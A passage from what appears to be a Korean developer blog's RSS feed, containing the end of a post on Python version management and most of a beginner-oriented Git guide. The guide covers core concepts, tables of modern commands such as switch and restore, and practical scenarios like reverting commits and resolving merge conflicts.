&lt;li&gt;&lt;a href=&quot;https://github.com/pyenv-win/pyenv-win&quot;&gt;pyenv-win — GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;uv Documentation — Astral&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://peps.python.org/pep-0602/&quot;&gt;Python 공식 릴리스 스케줄&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Python 버전 관리는 &quot;내 개발 환경의 청결도&quot; 를 결정짓는 가장 기초 공사입니다. pyenv 를 쓰든 uv 로 넘어가든, 중요한 건 &lt;strong&gt;&quot;내 &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt; 이 지금 무엇을 가리키는지 한 줄로 설명할 수 있어야 한다&quot;&lt;/strong&gt; 는 원칙입니다.&lt;/p&gt;
&lt;p&gt;여러분은 pyenv / uv / 기타 중 어느 조합을 쓰고 계신가요? 마이그레이션하면서 겪은 시행착오나, 아직 pyenv 를 유지하는 나름의 이유가 있다면 댓글로 공유해 주세요. 다음 글에서는 같은 주제를 &lt;strong&gt;uv 단독 워크플로우&lt;/strong&gt; 관점에서 더 깊이 풀어볼 예정입니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Git 실전 완벽 가이드 — 현대적 명령어로 배우는 버전 관리 기본]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "git 명령어, 매번 검색하고 계신가요?" 결론부터 말씀드리면 — Git의 핵심 개념은 10년 전과 달라지지 않았지만, 현대적 명령어(, )로 정리하면 훨씬 직관적입니다. 이 글 하나만 북마크해두면 일상 작업의 9…]]></description><link>https://blog.javapark.kr/git/</link><guid isPermaLink="false">https://blog.javapark.kr/git/</guid><pubDate>Wed, 22 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;git 명령어, 매번 검색하고 계신가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Git의 핵심 개념은 10년 전과 달라지지 않았지만, 현대적 명령어(&lt;code class=&quot;language-text&quot;&gt;git switch&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git restore&lt;/code&gt;)로 정리하면 훨씬 직관적입니다.&lt;/strong&gt; 이 글 하나만 북마크해두면 일상 작업의 95%는 커버됩니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 Git 2.45+ 기준으로 기본 개념, 필수 명령어, 실전 시나리오, 커밋 컨벤션까지 한 번에 정리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;형상관리란 무엇인가&lt;/h2&gt;
&lt;p&gt;형상관리(SCM, Source Code Management)는 &lt;strong&gt;소스 코드의 변경 이력을 체계적으로 관리하는 것&lt;/strong&gt;입니다. 누가, 언제, 왜, 무엇을 바꿨는지를 기록합니다.&lt;/p&gt;
&lt;h3&gt;형상관리 없이 개발하면&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;프로젝트_최종.zip&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;프로젝트_최종_진짜최종.zip&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;프로젝트_최종_v3_수정.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&quot;어제 고친 코드가 뭐였지?&quot; — 기억에 의존&lt;/li&gt;
&lt;li&gt;&quot;이 버그, 언제부터 있었지?&quot; — 추적 불가&lt;/li&gt;
&lt;li&gt;컴퓨터 포맷하면 모든 히스토리 소실&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2026년 현재, Git은 사실상 유일한 선택지&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;방식&lt;/th&gt;
&lt;th&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Git&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;분산형&lt;/td&gt;
&lt;td&gt;업계 표준, 압도적 1위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Subversion (SVN)&lt;/td&gt;
&lt;td&gt;중앙집중형&lt;/td&gt;
&lt;td&gt;레거시 유지보수 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mercurial&lt;/td&gt;
&lt;td&gt;분산형&lt;/td&gt;
&lt;td&gt;거의 사용 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;GitHub, GitLab, Bitbucket 모두 Git 기반입니다. 다른 도구를 익힐 이유가 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Git의 4가지 영역 — 이것만 이해하면 끝&lt;/h2&gt;
&lt;p&gt;Git을 이해하는 가장 빠른 길은 &lt;strong&gt;4가지 영역&lt;/strong&gt;을 머리에 그리는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;┌─────────────────┐   git add    ┌──────────────┐  git commit  ┌───────────────┐  git push  ┌───────────────┐
│ Working Directory│ ───────────&gt; │   Staging    │ ───────────&gt; │ Local Repo    │ ────────&gt;  │ Remote Repo   │
│ (작업 디렉토리) │              │  (스테이지)  │              │ (로컬 저장소) │            │ (원격 저장소) │
└─────────────────┘              └──────────────┘              └───────────────┘            └───────────────┘
       ▲                                                                                              │
       └──────────────────────────────── git pull / git fetch ◀───────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;영역&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;대표 명령어&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Working Directory&lt;/td&gt;
&lt;td&gt;실제 편집 중인 파일&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git status&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git diff&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Staging Area&lt;/td&gt;
&lt;td&gt;다음 커밋에 포함할 변경 사항&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git add&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git restore --staged&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local Repository&lt;/td&gt;
&lt;td&gt;내 컴퓨터의 커밋 히스토리&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git commit&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git log&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote Repository&lt;/td&gt;
&lt;td&gt;GitHub 등 원격 저장소&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git push&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git pull&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git fetch&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 흐름만 머리에 있으면 대부분의 명령어가 자연스럽게 이해됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;필수 명령어 레퍼런스 (2026 현대 명령어 기준)&lt;/h2&gt;
&lt;p&gt;2019년 Git 2.23에서 도입된 &lt;code class=&quot;language-text&quot;&gt;git switch&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;git restore&lt;/code&gt;가 현재 완전히 정착했습니다. &lt;code class=&quot;language-text&quot;&gt;git checkout&lt;/code&gt;은 여전히 동작하지만, &lt;strong&gt;브랜치 이동과 파일 복원을 한 명령어가 같이 처리해서 혼란스러워&lt;/strong&gt; 권장되지 않습니다. 새로 시작하시는 분은 &lt;code class=&quot;language-text&quot;&gt;switch&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;restore&lt;/code&gt;로 익히세요.&lt;/p&gt;
&lt;h3&gt;초기화 · 복제&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git init&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 디렉토리를 Git 저장소로 초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git clone &amp;lt;url&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 저장소를 로컬로 복제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git clone --depth=1 &amp;lt;url&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;최신 커밋 1개만 가져오기 (얕은 복제)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;상태 확인&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git status&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;변경/스테이징 상태 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git status -s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;짧은 형식으로 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git diff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Working ↔ Staging 차이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git diff --staged&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Staging ↔ Local Repo 차이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git log --oneline --graph --all&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;그래프 형태로 전체 히스토리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git log -p &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;특정 파일의 변경 이력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git blame &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;각 줄의 마지막 수정자 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;변경 추적 · 커밋&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git add &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;특정 파일을 스테이징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git add .&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 디렉토리 변경 전체 스테이징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git add -p&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;변경 단위(hunk)별로 선택 스테이징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git commit -m &quot;메시지&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;스테이지된 변경을 커밋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git commit --amend&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;마지막 커밋 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;브랜치 — &lt;code class=&quot;language-text&quot;&gt;git switch&lt;/code&gt; (현대 명령어)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;과거 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git branch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;로컬 브랜치 목록&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git branch -a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 포함 전체 브랜치&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git switch &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;브랜치 이동&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git checkout &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git switch -c &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;브랜치 생성 + 이동&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git checkout -b &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git switch -&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;직전 브랜치로 이동&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git checkout -&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git branch -d &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;브랜치 삭제 (병합된 것만)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git branch -D &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;강제 삭제&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git branch -m &amp;lt;새이름&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 브랜치 이름 변경&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;파일 복원 — &lt;code class=&quot;language-text&quot;&gt;git restore&lt;/code&gt; (현대 명령어)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;과거 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git restore &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Working Directory 변경 취소&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git checkout -- &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git restore --staged &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;스테이징 취소 (변경은 유지)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git reset HEAD &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git restore --source=HEAD~2 &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;특정 커밋 시점으로 파일 복원&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git checkout HEAD~2 -- &amp;lt;파일&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;원격 저장소&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git remote -v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 저장소 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git remote add origin &amp;lt;url&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 연결 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git fetch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 변경 가져오기 (병합 안 함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git pull&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;merge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git pull --rebase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;rebase&lt;/code&gt; (히스토리 깔끔)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git push&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격에 푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git push -u origin &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;업스트림 설정하며 푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;병합 · 리베이스&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git merge &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 브랜치로 병합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git merge --no-ff &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fast-forward 방지 (머지 커밋 생성)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git rebase &amp;lt;브랜치&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 브랜치를 다른 브랜치 위로 재배치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git rebase -i HEAD~3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;최근 3개 커밋 대화형 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git cherry-pick &amp;lt;커밋해시&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;특정 커밋만 가져오기&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;태그 · Stash&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git tag v1.0.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 커밋에 태그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git tag -a v1.0.0 -m &quot;릴리즈&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;주석 포함 태그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git push origin v1.0.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;태그 푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git stash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;작업 중 변경 임시 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git stash pop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;가장 최근 stash 복원 후 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git stash list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;stash 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git stash drop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;가장 최근 stash 버리기&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;실전 시나리오 — 이럴 땐 이렇게&lt;/h2&gt;
&lt;h3&gt;시나리오 1. 실수 커밋 되돌리기 — &lt;code class=&quot;language-text&quot;&gt;reset&lt;/code&gt; vs &lt;code class=&quot;language-text&quot;&gt;revert&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;두 명령어는 목적이 다릅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# reset: 히스토리를 &quot;없었던 일&quot;로 만듭니다 (로컬 전용)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; reset &lt;span class=&quot;token parameter variable&quot;&gt;--soft&lt;/span&gt; HEAD~1   &lt;span class=&quot;token comment&quot;&gt;# 커밋만 취소, 변경은 Staging에 유지&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; reset &lt;span class=&quot;token parameter variable&quot;&gt;--mixed&lt;/span&gt; HEAD~1  &lt;span class=&quot;token comment&quot;&gt;# 커밋+Staging 취소 (기본값, 변경은 유지)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; reset &lt;span class=&quot;token parameter variable&quot;&gt;--hard&lt;/span&gt; HEAD~1   &lt;span class=&quot;token comment&quot;&gt;# 커밋+Staging+변경 전부 삭제 (주의!)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# revert: &quot;취소하는 새 커밋&quot;을 추가합니다 (공유 브랜치에서 안전)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; revert HEAD           &lt;span class=&quot;token comment&quot;&gt;# 마지막 커밋의 반대 커밋 생성&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;기준&lt;/strong&gt;: 아직 푸시 안 했으면 &lt;code class=&quot;language-text&quot;&gt;reset&lt;/code&gt;, 이미 원격에 올라갔으면 &lt;strong&gt;반드시&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;revert&lt;/code&gt;를 쓰세요. 공유 브랜치를 &lt;code class=&quot;language-text&quot;&gt;reset --hard&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;push --force&lt;/code&gt;하면 팀원들의 히스토리가 깨집니다.&lt;/p&gt;
&lt;h3&gt;시나리오 2. 커밋 메시지 수정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 마지막 커밋 (아직 푸시 전)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;--amend&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feat: 올바른 메시지&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 이미 푸시했다면 — 강제 푸시 필요 (팀에게 공지 후!)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;--amend&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;수정된 메시지&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push --force-with-lease&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;--force-with-lease&lt;/code&gt;는 &lt;code class=&quot;language-text&quot;&gt;--force&lt;/code&gt;보다 안전합니다. 내가 모르는 새 커밋이 원격에 있으면 푸시를 거부합니다.&lt;/p&gt;
&lt;h3&gt;시나리오 3. 마지막 커밋에 파일 추가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 빠뜨린 파일 스테이징&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; src/forgotten.js

&lt;span class=&quot;token comment&quot;&gt;# --no-edit: 커밋 메시지 유지한 채 추가&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;--amend&lt;/span&gt; --no-edit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;시나리오 4. 브랜치 병합 충돌 해결&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; switch main
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; pull
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; switch feature/login
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; merge main
&lt;span class=&quot;token comment&quot;&gt;# → 충돌 발생&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 1. 충돌 파일 열면 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;, =======, &gt;&gt;&gt;&gt;&gt;&gt;&gt; 마커가 보임&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 2. 직접 편집하여 최종 코드 결정&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 3. 해결된 파일 스테이징&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; src/auth.js

